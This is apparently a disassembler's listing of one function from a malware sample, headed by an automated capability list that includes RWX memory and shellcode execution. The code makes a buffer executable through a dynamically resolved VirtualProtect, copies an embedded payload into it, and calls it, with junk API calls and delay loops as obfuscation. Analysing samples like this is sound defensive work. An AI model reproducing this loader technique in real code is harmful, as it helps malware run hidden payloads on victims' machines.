Function at 0x402e80
Capabilities:
Allocate or change rwx memory
Create directory
Execute shellcode via indirect call
Get disk information
Manipulate console buffer
Receive http response
Set file attributes

Disassembly:
mov eax, 0x41a140
call fcn.004063d8
sub esp, 0x8e0
push ebp
xor ebp, ebp
push esi
mov esi, ebp
push ebp
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp esi, 0x207138
jg 0x402eae
inc esi
cmp esi, 0x4f672
jl 0x402e96
mov ecx, dword [0x687944]
cmp ecx, 0x93
jne 0x402f4e
push ebp
call dword [sym.imp.USER32.dll_GetMenu]
xor eax, eax
lock bts dword [eax], 0
lea eax, [esp + 0x14]
push eax
push ebp
push ebp
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_GetStringTypeA]
push ebp
push ebp
push dword [esp + 0x10]
push ebp
call dword [sym.imp.KERNEL32.dll_SetInformationJobObject]
push ebp
call fcn.004051ce
push ebp
call fcn.00406014
push ebp
call fcn.004051ce
add esp, 0xc
lea ecx, [esp + 0xc]
call fcn.004017bf
lea eax, [esp + 8]
mov dword [esp + 0x8f0], ebp
push eax
lea ecx, [esp + 0x10]
mov dword [esp + 0xc], ebp
call fcn.0040375c
push 1
push 3
lea ecx, [esp + 0x40]
call fcn.004016d9
lea ecx, [esp + 0x38]
call fcn.00401d73
or dword [esp + 0x8f0], 0xffffffff
lea ecx, [esp + 0xc]
call fcn.00401be5
mov ecx, dword [0x687944]
mov eax, dword [0x450bc8]
add ecx, 0x1134b
push 0x41b258
mov dword [0x68794c], eax
mov dword [0x687944], ecx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.VirtualProtect
push eax
mov dword [0x68795c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [0x687944]
mov dword [0x68793c], eax
push ebp
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [esp + 0x18]
mov dword [0x687948], eax
push ecx
push 0x40
push dword [0x687944]
push eax
call dword [0x68793c]
mov esi, 0x14b002e
call dword [sym.imp.KERNEL32.dll_GetLastError]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
dec esi
jne 0x402fb0
mov edx, dword [0x687944]
mov esi, ebp
test edx, edx
je 0x40304a
mov eax, dword [0x68794c]
mov cl, byte [eax + esi + 0x1134b]
mov eax, dword [0x687948]
mov byte [eax + esi], cl
mov edx, dword [0x687944]
cmp edx, 0x490
jne 0x403045
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push ebp
push str.salaruyamosohukeluyabiji
call dword [sym.imp.KERNEL32.dll_IsBadStringPtrA]
push str.cunuracexefinohakelisefe
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push ebp
lea eax, [esp + 0xec]
push eax
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x1c]
push eax
push ebp
lea eax, [esp + 0x500]
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
push dword [esp + 0xc]
push ebp
call dword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
mov edx, dword [0x687944]
inc esi
cmp esi, edx
jb 0x402fcb
mov esi, ebp
lea eax, [edx + esi]
cmp eax, 0x8d
jne 0x403081
push ebp
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll__lopen]
push ebp
push ebp
push str.mafumoha
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
push ebp
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
mov edx, dword [0x687944]
inc esi
cmp esi, 0x38681
jl 0x40304c
mov ecx, dword [0x687948]
push 0x450b00
call fcn.00403d35
mov esi, ebp
push ebp
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp esi, 0x62
jne 0x4030b2
mov ecx, 0x687948
call fcn.00402e59
inc esi
cmp esi, 0x674db
jl 0x40309c
push 0x7b
pop esi
cmp dword [0x687944], 0x86
jne 0x40310d
push ebp
push ebp
push ebp
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [esp + 0x1c]
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_BuildCommDCBA]
push ebp
push ebp
call dword [sym.imp.ADVAPI32.dll_DeleteAce]
push ebp
push ebp
push ebp
push ebp
call dword [sym.imp.WINHTTP.dll_WinHttpReadData]
push ebp
push ebp
push ebp
push ebp
call dword [sym.imp.GDI32.dll_GetCharWidthA]
cmp dword [0x687944], 0xf
jne 0x40311f
push ebp
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_OpenEventA]
dec esi
jne 0x4030be
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov eax, dword [0x687948]
mov dword [0x687950], eax
call eax
mov ecx, dword [esp + 0x8e8]
pop esi
pop ebp
mov dword fs:[0], ecx
leave
ret